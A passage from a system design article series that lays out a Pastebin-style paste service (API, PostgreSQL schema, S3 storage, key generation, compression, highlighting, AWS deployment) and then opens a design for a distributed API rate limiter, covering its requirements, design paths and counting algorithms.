  "expires_at": "2025-01-22T10:30:00Z",
  "visibility": "unlisted",
  "size_bytes": 2048
}
```

**Error responses:**

- `400 Bad Request` — Content too large, invalid expiration, missing required fields
- `401 Unauthorized` — Invalid or missing API key (for authenticated endpoints)
- `429 Too Many Requests` — Rate limit exceeded. Response includes `Retry-After` header

### Read Paste

**Endpoint:** `GET /api/v1/pastes/{id}`

**Response (200 OK):**

```json
{
  "id": "aB3kF9x",
  "title": "My Snippet",
  "content": "def hello():\n    print('world')",
  "language": "python",
  "highlighted_html": "<pre><code>...</code></pre>",
  "created_at": "2025-01-15T10:30:00Z",
  "expires_at": "2025-01-22T10:30:00Z",
  "visibility": "unlisted",
  "size_bytes": 2048,
  "views": 42
}
```

**Error responses:**

- `404 Not Found` — Paste does not exist
- `410 Gone` — Paste has expired or been burned
- `403 Forbidden` — Private paste, password required (provide via `X-Paste-Password` header)

### Read Raw Content

**Endpoint:** `GET /api/v1/pastes/{id}/raw`

Returns plain text (`Content-Type: text/plain; charset=utf-8`). No JSON wrapping. Designed for `curl`, piping, and CLI tooling.

**Cache headers for raw content:**

```http
Cache-Control: public, max-age=86400, immutable
ETag: "sha256:<content_hash>"
```

For burn-after-read pastes:

```http
Cache-Control: no-store
```

### List User's Pastes

**Endpoint:** `GET /api/v1/users/me/pastes?cursor={cursor}&limit=20`

**Pagination:** Cursor-based using `created_at` timestamp. Offset-based pagination degrades at high page numbers because the database must scan and discard all preceding rows.

**Response (200 OK):**

```json
{
  "pastes": [
    {
      "id": "aB3kF9x",
      "title": "My Snippet",
      "language": "python",
      "created_at": "2025-01-15T10:30:00Z",
      "expires_at": "2025-01-22T10:30:00Z",
      "visibility": "unlisted",
      "size_bytes": 2048,
      "views": 42
    }
  ],
  "next_cursor": "2025-01-14T08:00:00Z",
  "has_more": true
}
```

### Delete Paste

**Endpoint:** `DELETE /api/v1/pastes/{id}`

**Response:** `204 No Content`

Soft-deletes the paste (sets `deleted_at`). S3 object cleanup happens in the background via the expiration service.

## Data Modeling

### Paste Metadata Schema

**Primary store:** PostgreSQL (ACID guarantees for metadata, rich querying for user dashboards and admin tooling)

```sql title="schema.sql" collapse={1-2}
-- Paste metadata (content stored in S3)
-- Indexes designed for the three hot query patterns: by ID, by user, by expiration

CREATE TABLE pastes (
    id          VARCHAR(8) PRIMARY KEY,     -- KGS-generated Base62 key
    user_id     UUID REFERENCES users(id),  -- NULL for anonymous pastes
    title       VARCHAR(100),
    language    VARCHAR(30),                -- Detected or user-specified
    visibility  VARCHAR(10) DEFAULT 'unlisted'
                CHECK (visibility IN ('public', 'unlisted', 'private')),
    password_hash VARCHAR(60),              -- bcrypt hash, NULL if not private

    -- Content metadata (content itself lives in S3)
    content_hash    CHAR(64) NOT NULL,      -- SHA-256 of raw content
    size_bytes      INT NOT NULL,
    compressed_size INT NOT NULL,

    -- Lifecycle
    burn_after_read BOOLEAN DEFAULT FALSE,
    read_count      INT DEFAULT 0,
    expires_at      TIMESTAMPTZ,            -- NULL = never expires
    created_at      TIMESTAMPTZ DEFAULT NOW(),
    deleted_at      TIMESTAMPTZ             -- Soft delete
);

-- Lookup by ID (primary key handles this)

-- User's pastes, newest first (for dashboard)
CREATE INDEX idx_pastes_user
    ON pastes(user_id, created_at DESC)
    WHERE deleted_at IS NULL;

-- Expiration sweep: find expired pastes efficiently
CREATE INDEX idx_pastes_expiry
    ON pastes(expires_at)
    WHERE expires_at IS NOT NULL AND deleted_at IS NULL;

-- Deduplication lookup: find pastes with same content
CREATE INDEX idx_pastes_content_hash
    ON pastes(content_hash);
```

### S3 Object Layout

```
s3://paste-content/
├── pastes/
│   ├── aB3kF9x.zst          # Compressed paste content
│   ├── kL9mP2q.zst
│   └── ...
└── highlighted/
    ├── aB3kF9x.html          # Pre-rendered syntax-highlighted HTML
    └── ...
```

**Object naming:** Using paste_id as the S3 key. The random distribution of Base62 IDs avoids S3 hot-partition issues (S3 partitions by key prefix, and random prefixes distribute evenly).

### Database Selection Matrix

| Data Type           | Store                    | Rationale                                                                             |
| ------------------- | ------------------------ | ------------------------------------------------------------------------------------- |
| Paste metadata      | PostgreSQL               | ACID, complex queries (user dashboards, admin search), partial indexes for expiration |
| Paste content       | S3                       | Unlimited scale, $0.023/GB, 11 nines durability, CDN-friendly                         |
| Highlighted HTML    | S3                       | Large generated content, immutable, cacheable                                         |
| Hot paste cache     | Redis Cluster            | Sub-ms reads, TTL-based eviction, LRU for memory management                           |
| Rate limit counters | Redis                    | Atomic increments, sliding window via sorted sets                                     |
| KGS key pool        | PostgreSQL (or DynamoDB) | Atomic batch allocation with row-level locking                                        |
| User accounts       | PostgreSQL               | Relational data, auth queries                                                         |

### Sharding Strategy

At Pastebin scale (~180M pastes/year), a single PostgreSQL instance handles the metadata comfortably (36 GB/year metadata). Vertical scaling with read replicas is sufficient.

**When to shard:** If metadata exceeds ~500 GB or write throughput exceeds single-node capacity (~10K TPS for PostgreSQL):

- **Shard key:** `paste_id` (hash-based). Distributes uniformly because KGS generates random keys.
- **User-scoped queries:** User dashboard queries (`WHERE user_id = ?`) would span all shards. Mitigate with a denormalized user → paste_ids mapping table or application-level scatter-gather.
- **Expiration sweep:** Each shard runs its own sweep independently.

## Low-Level Design

### URL Generation: Key Generation Service

The KGS is the critical component that decouples ID generation from the write path.

#### Approach Comparison

**Option 1: Auto-increment + Base62**

- Database assigns sequential ID, application Base62-encodes it
- Pros: Simplest, guaranteed unique
- Cons: Single point of failure, sequential = predictable (enumerable), doesn't scale horizontally
- Best when: Single-server deployment

**Option 2: MD5/SHA hash truncation**

- Hash(content + salt), take first 7 Base62 characters
- Pros: Content-derived (same content = same hash if desired), no coordinator
- Cons: Birthday problem—at ~1.4M pastes, collision probability for 7-char Base62 exceeds 0.01%. Collision handling adds write-path latency
- Best when: Deduplication is the primary goal

**Option 3: Snowflake ID + Base62**

- 64-bit Snowflake (timestamp + node + sequence), Base62-encoded
- Pros: Time-ordered, no coordination, 4M IDs/second/node
- Cons: 11-character Base62 output (longer URLs), leaks creation timestamp
- Best when: Time-ordering is valuable, longer URLs acceptable

**Option 4: Pre-generated Key Service (KGS)**

- Offline process generates random 7-character Base62 strings, stores in pool
- Pros: Zero collision, O(1) retrieval, decoupled, predictable key length
- Cons: Requires separate service, wastes keys on crashes
- Best when: Short predictable-length URLs, high write throughput

**Chosen approach:** KGS (Option 4)

**Rationale:** Paste URLs must be short (7 characters) and unpredictable (no enumeration). KGS achieves both while eliminating collision handling from the write path entirely. The keyspace (62^7 = 3.52 trillion) is practically inexhaustible.

#### KGS Implementation Details

![Diagram](./diagram-8.svg)

**Batch allocation query (PostgreSQL):**

```sql title="allocate_keys.sql"
-- Atomically claim a batch of keys for an app server
WITH batch AS (
    SELECT key FROM key_pool
    WHERE status = 'available'
    LIMIT 1000
    FOR UPDATE SKIP LOCKED
)
UPDATE key_pool
SET status = 'allocated', allocated_to = 'server-1', allocated_at = NOW()
WHERE key IN (SELECT key FROM batch)
RETURNING key;
```

`FOR UPDATE SKIP LOCKED` ensures multiple app servers can fetch key batches concurrently without blocking each other.

### Content Storage and Compression

#### Write Path

1. **Validate content:** Check size against tier limit (512 KB free, 10 MB paid)
2. **Compute SHA-256 hash:** Used for deduplication check and integrity verification
3. **Optional dedup check:** If enabled, check if `content_hash` already exists in S3. If so, skip S3 write and point new paste_id at existing blob.
4. **Compress with zstd:** Level 3 balances compression ratio (~65% on text) with CPU cost. Below 256 bytes, skip compression (overhead exceeds savings).
5. **Upload to S3:** Key = `pastes/{paste_id}.zst`, metadata = `{content_hash, original_size}`
6. **Persist metadata:** Insert into PostgreSQL

#### Read Path

1. **Check Redis:** Full deserialized paste (metadata + decompressed content) cached with TTL
2. **On miss — metadata from PostgreSQL:** Check expiration, visibility, burn-after-read
3. **Content from S3:** Download compressed object, decompress with zstd
4. **Populate Redis:** Cache the decompressed content for subsequent reads

#### Compression Benchmarks on Text Content

| Algorithm        | Ratio (5 KB text) | Compress speed | Decompress speed | Notes                            |
| ---------------- | ----------------- | -------------- | ---------------- | -------------------------------- |
| gzip (level 6)   | 65% reduction     | 150 MB/s       | 400 MB/s         | Universal support                |
| zstd (level 3)   | 67% reduction     | 500 MB/s       | 1,700 MB/s       | Best balance for dynamic content |
| Brotli (level 4) | 70% reduction     | 80 MB/s        | 400 MB/s         | Best ratio, but slow compression |

**Why zstd over Brotli:** Write latency matters for paste creation. zstd at level 3 compresses 6x faster than Brotli at level 4 with only 3% less compression. For a write-path operation, this trade-off strongly favors zstd.

### Syntax Highlighting

#### Async Highlighting Pipeline

Syntax highlighting is CPU-intensive for large pastes. Running it synchronously on the write path would spike p99 write latency.

**Flow:**

1. Paste created → metadata and raw content stored
2. Message enqueued: `{paste_id, language, size_bytes}`
3. Highlight worker dequeues, retrieves raw content from S3
4. Runs highlighting (tree-sitter or Pygments/Chroma depending on language support)
5. Stores rendered HTML to `s3://paste-content/highlighted/{paste_id}.html`
6. Updates metadata: `highlighted_at = NOW()`

**First-read before highlighting completes:** If a user reads a paste before highlighting finishes, the read service returns raw content with client-side highlighting as a fallback (using a JavaScript library like Highlight.js or Shiki). Once the server-rendered HTML is available, subsequent reads serve it directly.

**Language detection:** If the user doesn't specify a language, the worker attempts detection using file extension heuristics, shebang lines, and statistical classifiers (similar to GitHub's Linguist). Fallback: plain text.

## Frontend Considerations

### Performance-Critical Decisions

#### Paste Rendering Strategy

**Problem:** Pastes can be up to 10 MB of text. Rendering this as syntax-highlighted HTML in the browser generates a massive DOM tree (millions of nodes for large files).

**Solution: Virtualized rendering for large pastes**

- Pastes < 100 KB: Render full highlighted HTML (reasonable DOM size)
- Pastes 100 KB–1 MB: Virtual scrolling—only render visible lines plus buffer (~100 lines visible, ~200 rendered)
- Pastes > 1 MB: Show first 1,000 lines with "Load more" or "Download raw" option

**Implementation:**

- Virtual scrolling using a library like `@tanstack/virtual`
- Each "row" is a highlighted line of code
- Line numbers are `position: sticky` for scroll synchronization
- Search within paste uses a web worker to avoid blocking the main thread

#### Data Structure for Paste Viewer

```typescript title="paste-viewer-state.ts" collapse={1-3, 18-25}
// State management for the paste viewer component
// Separates server data from ephemeral UI state

interface PasteViewerState {
  // Server data (from API response)
  paste: {
    id: string
    content: string
    highlightedHtml: string | null // null = highlighting in progress
    language: string
    lineCount: number
  }

  // UI state (ephemeral, not persisted)
  ui: {
    wordWrap: boolean
    showLineNumbers: boolean
    selectedLines: Set<number> // For line range selection (e.g., #L5-L10)
    searchQuery: string
    searchMatches: number[] // Line numbers with matches
    currentMatchIndex: number
  }
}
```

**Why this separation:** Server data is immutable after fetch (paste content never changes). UI state is ephemeral and driven entirely by user interaction. Separating them prevents unnecessary re-renders when toggling UI options.

#### Line Range Selection

Paste services commonly support linking to specific lines (e.g., `paste.example.com/aB3kF9x#L5-L10`).

**Implementation:**

- Parse URL fragment on load to determine initial selection
- Click on line number selects that line, Shift+Click extends selection
- Update URL fragment without triggering navigation (using `history.replaceState`)
- Scroll to selected line on initial load

#### API Response Optimization

**Initial page load returns metadata + content in a single response** (no separate fetch for highlighted HTML):

```json
{
  "id": "aB3kF9x",
  "content": "raw text...",
  "highlighted_html": "<pre>...</pre>",
  "language": "python",
  "line_count": 42
}
```

If `highlighted_html` is `null` (highlighting still in progress), the frontend falls back to client-side highlighting with Shiki or Highlight.js. This avoids a loading spinner for the common case where highlighting completes before the user loads the page.

**Raw content endpoint** (`/raw/aB3kF9x`) returns `text/plain` directly—no JSON parsing overhead for CLI consumers.

## Infrastructure Design

### Cloud-Agnostic Architecture

#### Object Storage

**Concept:** Durable blob storage for paste content

**Requirements:**

- 11 nines durability (cannot lose paste content)
- Low cost per GB (most content is cold)
- CDN integration for direct edge serving
- Lifecycle policies for storage tiering

**Open-source options:**

- MinIO — S3-compatible, self-hosted, battle-tested
- Ceph RADOS Gateway — S3-compatible, complex operations

**Managed options:**

- AWS S3, GCS (Google Cloud Storage), Azure Blob Storage

#### Cache Layer

**Concept:** In-memory cache for hot paste content

**Requirements:**

- Sub-millisecond reads
- TTL-based eviction
- LRU eviction when memory is full
- Cluster mode for horizontal scaling

**Options:**

- Redis Cluster — Rich data structures, Lua scripting for atomic operations
- Memcached — Simpler, multi-threaded, no persistence
- KeyDB — Redis-compatible, multi-threaded

#### Message Queue

**Concept:** Async job processing for syntax highlighting and expiration cleanup

**Requirements:**

- At-least-once delivery
- Dead letter queue for failed jobs
- Visibility timeout (prevent duplicate processing)

**Options:**

- Redis Streams — Simple, good for moderate throughput
- RabbitMQ — Feature-rich, moderate scale
- Apache Kafka — High throughput, overkill for this use case unless analytics pipeline is added

### AWS Reference Architecture

#### Compute

| Component         | Service              | Configuration                               |
| ----------------- | -------------------- | ------------------------------------------- |
| API servers       | ECS Fargate          | Auto-scaling 2-20 tasks, 1 vCPU / 2 GB each |
| Highlight workers | ECS Fargate (Spot)   | Cost-optimized, tolerant of interruption    |
| Expiration cron   | EventBridge + Lambda | Hourly trigger, 15-min timeout              |
| KGS generator     | Lambda (scheduled)   | Daily batch generation                      |

#### Data Stores

| Data           | Service                      | Rationale                               |
| -------------- | ---------------------------- | --------------------------------------- |
| Paste metadata | RDS PostgreSQL (Multi-AZ)    | ACID, managed backups, read replicas    |
| Paste content  | S3 Standard                  | Durability, cost, CDN integration       |
| Warm content   | S3 Infrequent Access         | 40% cheaper, min 30-day retention       |
| Cold content   | S3 Glacier Instant Retrieval | 68% cheaper than Standard, ms retrieval |
| Hot cache      | ElastiCache Redis Cluster    | Sub-ms reads, 3 shards                  |
| Rate limits    | ElastiCache Redis            | Atomic counters, sorted sets            |

#### Storage Tiering with S3 Lifecycle

```json title="s3-lifecycle-policy.json" collapse={1-2, 21-22}
{
  "Rules": [
    {
      "ID": "paste-content-tiering",
      "Status": "Enabled",
      "Filter": { "Prefix": "pastes/" },
      "Transitions": [
        {
          "Days": 30,
          "StorageClass": "STANDARD_IA"
        },
        {
          "Days": 90,
          "StorageClass": "GLACIER_IR"
        }
      ],
      "Expiration": {
        "Days": 1825
      }
    }
  ]
}
```

**Cost impact at 1.6 TB (5-year accumulated):**

| Tier                      | Data Volume | Monthly Cost     |
| ------------------------- | ----------- | ---------------- |
| S3 Standard (< 30 days)   | ~26 GB      | $0.60            |
| S3 IA (30-90 days)        | ~52 GB      | $0.65            |
| S3 Glacier IR (> 90 days) | ~1.5 TB     | $6.00            |
| **Total**                 | **1.6 TB**  | **~$7.25/month** |

Storage cost is negligible. The dominant cost is compute (API servers) and Redis.

#### Self-Hosted Alternatives

| Managed Service | Self-Hosted Option   | When to self-host                                     |
| --------------- | -------------------- | ----------------------------------------------------- |
| RDS PostgreSQL  | PostgreSQL on EC2    | Cost at scale, specific extensions (e.g., pg_partman) |
| ElastiCache     | Redis on EC2         | Specific Redis modules, cost optimization             |
| S3              | MinIO on EC2         | Multi-cloud portability, data sovereignty             |
| ECS Fargate     | Kubernetes (EKS/k3s) | Existing K8s expertise, multi-cloud                   |

### Production Deployment

![Diagram](./diagram-9.svg)

## Variations

### Encrypted Pastes (PrivateBin Model)

For maximum privacy, client-side encryption ensures the server never sees plaintext:

1. Browser generates a random 256-bit AES-GCM (Advanced Encryption Standard, Galois/Counter Mode) key
2. Content is compressed (zlib), then encrypted client-side
3. Encrypted blob is sent to the server
4. Decryption key is placed in the URL fragment (`#key=...`), which browsers never send to the server
5. On read, the browser fetches the encrypted blob and decrypts locally

**Trade-offs:**

- ✅ True zero-knowledge: server cannot read paste content even under subpoena
- ❌ No server-side syntax highlighting (server cannot read content)
- ❌ No server-side search or content scanning
- ❌ URL is much longer (paste_id + encryption key)
- ❌ Key loss = permanent content loss

PrivateBin implements this model with AES-256-GCM encryption, PBKDF2-HMAC-SHA256 key derivation (100K iterations), and Base58-encoded keys in the URL fragment.

### Multi-File Pastes (GitHub Gists Model)

GitHub Gists extend the paste concept by backing each gist with a full Git repository:

- Each gist is a bare Git repo on disk
- Supports multiple files, full revision history, forking, and cloning
- URLs use hexadecimal IDs (Git-style)
- Discovery layer (starring, search) is a separate relational service

**Trade-off:** Dramatically more storage and compute per paste (Git object overhead), but enables collaboration workflows that simple paste services cannot.

## Conclusion

Pastebin's design centers on three decisions that cascade through the architecture:

1. **Split storage (PostgreSQL metadata + S3 content)** enables independent scaling, cost-effective tiering, and CDN-friendly raw content serving. The extra network hop on cache miss is justified by 5x storage cost reduction and operational simplicity.

2. **KGS for URL generation** eliminates collision handling from the write path entirely. The 3.52 trillion keyspace (7-char Base62) is practically inexhaustible, and batch allocation to app servers removes per-request coordination.

3. **Hybrid expiration (lazy read check + active sweep)** guarantees readers never see expired content while reclaiming storage in the background. Burn-after-read requires row-level locking for atomicity but stays off the hot read path.

**What this design sacrifices:**

- Write-path latency includes compression + S3 upload (~100-200ms added vs. database-only)
- Syntax highlighting is eventually consistent (async), requiring client-side fallback
- Burn-after-read pastes cannot use CDN caching

**Future improvements worth considering:**

- Content-addressable storage for automatic deduplication (Path C) if duplication rate exceeds 10%
- WebSocket-based collaborative editing for real-time multi-user pastes
- Differential compression (zstd dictionaries trained on common paste types) for further storage reduction

## Appendix

### Prerequisites

- Distributed storage concepts (object stores, caching tiers)
- Database indexing strategies (partial indexes, covering indexes)
- HTTP caching semantics (`Cache-Control`, `ETag`, immutable resources)
- Basic cryptographic hashing (SHA-256, collision resistance)

### Terminology

| Term            | Definition                                                                                           |
| --------------- | ---------------------------------------------------------------------------------------------------- |
| KGS             | Key Generation Service — pre-generates unique short codes offline                                    |
| Base62          | Encoding using `[A-Za-z0-9]` (62 characters), producing URL-safe strings                             |
| Burn-after-read | Paste that self-destructs after a single read                                                        |
| CAS             | Content-Addressable Storage — storage where the key is derived from the content's cryptographic hash |
| zstd            | Zstandard — Facebook-developed compression algorithm balancing ratio and speed                       |
| PII             | Personally Identifiable Information — data that can identify an individual                           |

### Summary

- **Split storage architecture:** PostgreSQL for metadata (36 GB/year), S3 for content (320 GB/year compressed). Independent scaling, 5x storage cost reduction vs. database-only.
- **KGS with Base62 7-character keys:** 3.52 trillion keyspace, zero write-path collisions, batch allocation eliminates per-request coordination.
- **Multi-tier caching (CDN → Redis → S3):** Immutable paste content enables aggressive caching. Sub-100ms reads globally.
- **Hybrid expiration strategy:** Lazy read checks guarantee correctness; hourly active sweeps reclaim storage. Burn-after-read uses row-level locking for atomicity.
- **zstd compression at write time:** 65-67% reduction on text content, 6x faster than Brotli at comparable ratios.
- **Async syntax highlighting:** CPU-intensive work decoupled from write path; client-side fallback until server rendering completes.

### References

- [Pastebin.com](https://pastebin.com) — Original paste service (2002), PHP + MySQL, burn-after-read since 2020
- [GitHub Gists](https://docs.github.com/en/get-started/writing-on-github/editing-and-sharing-content-with-gists) — Git-backed paste service with revision history and forking
- [PrivateBin](https://github.com/PrivateBin/PrivateBin) — Zero-knowledge paste service, AES-256-GCM client-side encryption
- [dpaste](https://docs.dpaste.org) — Django-based paste service, collision-handling slug generation
- [Haste-server](https://github.com/SparkUniverse/haste-server) — Node.js paste service with pluggable storage backends
- [RFC 8878 — Zstandard Compression](https://datatracker.ietf.org/doc/html/rfc8878) — IETF specification for zstd data format
- [Twitter Snowflake](https://github.com/twitter-archive/snowflake) — Distributed ID generation (archived)
- [AWS S3 Storage Classes](https://aws.amazon.com/s3/storage-classes/) — Tiered storage pricing and access patterns
- [System Design Primer — Pastebin](https://github.com/donnemartin/system-design-primer/blob/master/solutions/system_design/pastebin/README.md) — Reference design with scale estimation

---

## Design an API Rate Limiter: Distributed Throttling, Multi-Tenant Quotas, and Graceful Degradation

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-api-rate-limiter
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for a distributed API rate limiting service covering algorithm selection, Redis-backed counting, multi-tenant quota management, rate limit header communication, and graceful degradation under failure. This design addresses sub-millisecond rate check latency at 500K+ decisions per second with configurable per-tenant policies and fail-open resilience.

# Design an API Rate Limiter: Distributed Throttling, Multi-Tenant Quotas, and Graceful Degradation

A comprehensive system design for a distributed API rate limiting service covering algorithm selection, Redis-backed counting, multi-tenant quota management, rate limit header communication, and graceful degradation under failure. This design addresses sub-millisecond rate check latency at 500K+ decisions per second with configurable per-tenant policies and fail-open resilience.

<figure>

![High-level architecture: API Gateway consults the Rate Limit Service before forwarding requests. The decision engine checks counters in Redis, applies rules from configuration, and returns allow/deny with remaining quota. Backend services are shielded from overload.](./high-level-architecture-api-gateway-consults-the-rate-limit-service-before-forwa.svg)

<figcaption>High-level architecture: API Gateway consults the Rate Limit Service before forwarding requests. The decision engine checks counters in Redis, applies rules from configuration, and returns allow/deny with remaining quota. Backend services are shielded from overload.</figcaption>
</figure>

## Abstract

A rate limiter maps request identifiers (user ID, API key, IP) to counters and enforces thresholds—conceptually trivial, but the design space branches around three axes: which counting algorithm balances accuracy against memory, how to maintain consistent counts across distributed nodes, and how the limiter itself degrades when its backing store fails.

**Core architectural decisions:**

| Decision             | Choice                                                               | Rationale                                                                            |
| -------------------- | -------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |
| Algorithm            | Sliding window counter                                               | Best accuracy-to-memory ratio; Cloudflare measured 0.003% error across 400M requests |
| Counting store       | Redis Cluster with Lua scripts                                       | Atomic operations, sub-ms latency, horizontal scaling via hash slots                 |
| Rule storage         | YAML config with hot reload                                          | Declarative, version-controlled, no database dependency for rule evaluation          |
| Multi-tenancy        | Hierarchical quotas (global → tenant → endpoint)                     | Prevents noisy neighbors while allowing per-tier customization                       |
| Failure mode         | Fail-open with circuit breaker                                       | Availability over strictness—a rate limiter outage must not become an API outage     |
| Client communication | RFC 9110 `Retry-After` + IETF `RateLimit`/`RateLimit-Policy` headers | Standards-based; clients can implement backoff without guessing                      |

**Key trade-offs accepted:**

- Sliding window counter is an approximation (not exact like sliding window log), but uses O(1) memory per key vs. O(n) for the log approach
- Centralized Redis adds a network hop per request, but guarantees globally consistent counts across all API gateway nodes
- Fail-open means a Redis outage temporarily disables rate limiting, but the alternative (fail-closed = reject all traffic) is worse for availability
- Lua scripts add operational complexity (debugging, versioning) but are necessary for atomic check-and-increment

**What this design optimizes:**

- Sub-millisecond rate check latency via Redis pipelining and local rule caching
- Zero-coordination counting across API gateway nodes (Redis is the single source of truth)
- Operational safety through fail-open, shadow mode, and gradual rollout
- Multi-tenant fairness without per-tenant infrastructure

## Requirements

### Functional Requirements

| Requirement                 | Priority | Notes                                                                  |
| --------------------------- | -------- | ---------------------------------------------------------------------- |
| Per-user rate limiting      | Core     | Enforce request quotas per authenticated user or API key               |
| Per-IP rate limiting        | Core     | Protect against unauthenticated abuse                                  |
| Per-endpoint rate limiting  | Core     | Different limits for different API operations (e.g., writes vs. reads) |
| Multi-tier quotas           | Core     | Free, Pro, Enterprise tiers with different limits                      |
| Rate limit headers          | Core     | Communicate remaining quota and reset time to clients                  |
| Burst allowance             | Core     | Allow short bursts above steady-state rate                             |
| Global rate limiting        | Extended | Protect backend services from total aggregate overload                 |
| Concurrent request limiting | Extended | Cap in-flight requests (Stripe-style)                                  |
| Quota management API        | Extended | CRUD operations for tenant quotas                                      |
| Rate limit dashboard        | Extended | Real-time visibility into rate limit decisions                         |

### Non-Functional Requirements

| Requirement      | Target                                         | Rationale                                                                   |
| ---------------- | ---------------------------------------------- | --------------------------------------------------------------------------- |
| Decision latency | p99 < 1ms (local cache hit), p99 < 5ms (Redis) | Rate check is on the critical path of every API request                     |
| Availability     | 99.99% (4 nines)                               | Rate limiter failure should not cause API failure (fail-open)               |
| Throughput       | 500K decisions/second per cluster              | Based on scale estimation below                                             |
| Accuracy         | < 1% false positive rate                       | Wrongly blocking legitimate users is worse than letting some excess through |
| Consistency      | Approximate (eventual)                         | Exact global consistency is too expensive; small overcounting is acceptable |
| Rule propagation | < 10 seconds                                   | New or updated rules take effect within seconds                             |

### Scale Estimation

**API platform scale (mid-size SaaS reference):**

- Registered API consumers: 100K
- Daily Active API keys: 10K
- Average requests per active key: 5K/day

**Traffic:**

- Daily requests: 10K keys x 5K requests = 50M requests/day
- Average RPS: 50M / 86,400 ≈ 580 RPS
- Peak multiplier (5x): ~2,900 RPS
- Spike (viral event, 20x): ~11,600 RPS
- Rate limit checks per request: 2-3 (user + endpoint + global) = ~35K decisions/s peak

**For large-scale platform (GitHub/Stripe-class):**

- 10M+ API consumers, 100K+ concurrent
- 500K+ rate limit decisions per second
- 10M+ active rate limit keys in Redis

**Storage (Redis):**

- Per rate limit key: ~100 bytes (key + counter + TTL metadata)
- Active keys: 10M x 100B = 1 GB
- With sliding window (2 counters per key): ~2 GB
- Redis cluster with 3 replicas: ~6 GB total

**Key insight:** The rate limiter itself is a high-throughput, low-latency service that processes more requests than the APIs it protects. The dominant challenge is keeping decision latency under 1ms while maintaining globally consistent counts.

## Design Paths

### Path A: Sidecar / Local Rate Limiting

**Best when:**

- Services are deployed in a service mesh (Istio, Linkerd)
- Approximate limits are acceptable
- Latency budget is extremely tight (< 100μs)

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Each sidecar maintains local token buckets in memory
- No network hop for rate decisions
- Limits are per-node, not global (a 1000 RPS limit across 10 nodes allows up to 10,000 RPS total)

**Trade-offs:**

- ✅ Lowest possible latency (in-process)
- ✅ No external dependency—immune to Redis failures
- ✅ Simple operations (no separate service to maintain)
- ❌ Limits are per-node: actual global rate = limit x node_count
- ❌ Cannot enforce accurate per-user quotas across nodes
- ❌ Auto-scaling changes effective limits (more nodes = higher actual rate)

**Real-world example:** Envoy's local rate limiting filter maintains per-connection and per-route token buckets with no external coordination.

### Path B: Centralized Rate Limit Service

**Best when:**

- Accurate per-user quotas required (billing, SLA enforcement)
- Multi-tenant API platform with tiered pricing
- Globally consistent rate limits across all nodes

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Dedicated rate limit service accessed via gRPC (Envoy's `rls.proto` pattern)
- Redis stores all counters—single source of truth
- Rules loaded from configuration, hot-reloadable

**Trade-offs:**

- ✅ Globally accurate counts (all nodes check same Redis)
- ✅ Per-user quotas enforced correctly regardless of which node handles the request
- ✅ Centralized rule management and observability
- ❌ Network hop per request (1-5ms latency added)
- ❌ Redis is a single point of failure (mitigated by fail-open)
- ❌ Additional infrastructure to operate

**Real-world example:** Envoy's global rate limiting uses a separate Go/gRPC service (`envoyproxy/ratelimit`) backed by Redis, accessed via the `ShouldRateLimit` RPC.

### Path C: Hybrid (Local + Global Synchronization)

**Best when:**

- Need both low latency and reasonable global accuracy
- Willing to accept slightly higher implementation complexity
- Scale is large enough that Redis round-trips are measurable

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Local counters handle rate decisions in-process (token bucket per key)
- Periodically sync local counts to Redis and pull global totals
- Sync interval trades accuracy for latency (e.g., every 1-5 seconds)

**Trade-offs:**

- ✅ Near-zero latency for rate decisions (local memory)
- ✅ Reasonably accurate global counts (within sync interval)
- ✅ Resilient to Redis failures (local counters keep working)
- ❌ Accuracy gap during sync intervals (can overshoot by sync_interval x node_count x rate)
- ❌ Complex state management (merge conflicts, counter drift)
- ❌ Two code paths to maintain and debug

**Real-world example:** Cloudflare's rate limiting uses per-PoP (Point of Presence) memcache counters with a sliding window algorithm. Anycast routing ensures a single IP's requests reach the same PoP, avoiding cross-PoP synchronization.

### Path Comparison

| Factor                 | Local (A)         | Centralized (B)      | Hybrid (C)          |
| ---------------------- | ----------------- | -------------------- | ------------------- |
| Decision latency       | < 100μs           | 1-5ms                | < 100μs             |
| Global accuracy        | Poor (per-node)   | Exact                | Approximate         |
| Redis dependency       | None              | Hard dependency      | Soft dependency     |
| Operational complexity | Low               | Medium               | High                |
| Multi-tenant quotas    | No                | Yes                  | Partial             |
| Failure mode           | Always works      | Fail-open needed     | Degrades gracefully |
| Best for               | Internal services | Public API platforms | High-scale edge     |

### This Article's Focus

This article focuses on **Path B (Centralized Rate Limit Service)** because:

1. Public API platforms require accurate per-user quotas for billing and SLA enforcement
2. Multi-tenant fairness demands globally consistent counts
3. The 1-5ms latency overhead is acceptable for most API gateways
4. Fail-open with circuit breaker adequately mitigates the Redis dependency risk

## Rate Limiting Algorithms

Before diving into the system design, a deep understanding of the available algorithms is essential—the algorithm choice cascades through data modeling, Redis memory usage, and accuracy guarantees.

### Token Bucket

**How it works:** Each rate limit key (user, API key) gets a bucket with capacity _b_ (burst size) and refill rate _r_ (tokens per second). Each request consumes one token. If the bucket is empty, the request is rejected. Tokens are refilled at rate _r_ up to maximum _b_.

**Implementation trick:** No background refill process needed. On each request, compute elapsed time since last check and add `elapsed × r` tokens (capped at _b_). This is called a "lazy refill"—O(1) time, O(1) space per key.

**Parameters:**

- `bucket_size` (b): Maximum burst size. A bucket of 100 allows 100 requests in a burst.
- `refill_rate` (r): Steady-state rate. A rate of 10/s means 10 tokens added per second.

| Aspect           | Value                                              |
| ---------------- | -------------------------------------------------- |
| Time complexity  | O(1) per request                                   |
| Space complexity | O(1) per key (token count + last_refill_timestamp) |
| Accuracy         | Exact for single-key decisions                     |
| Burst behavior   | Allows bursts up to bucket size                    |

**Who uses it:** AWS API Gateway (token bucket for throttling), Stripe (token bucket via Redis for request rate limiting), Amazon (internally for many services).

### Leaky Bucket

**How it works:** Conceptually a FIFO queue that processes requests at a fixed output rate. Incoming requests enter the queue; if full, they are rejected. Requests "leak" out at a constant rate. First proposed by Jonathan S. Turner in 1986, standardized in ITU-T Recommendation I.371 (1993) for ATM networks as the Generic Cell Rate Algorithm (GCRA).

**Key distinction from token bucket:** The leaky bucket smooths output to a constant rate—it shapes traffic. The token bucket permits bursts up to bucket capacity—it polices traffic. In practice, many implementations conflate the two; the GCRA variant is mathematically equivalent to an inverted token bucket.

| Aspect           | Value                                            |
| ---------------- | ------------------------------------------------ |
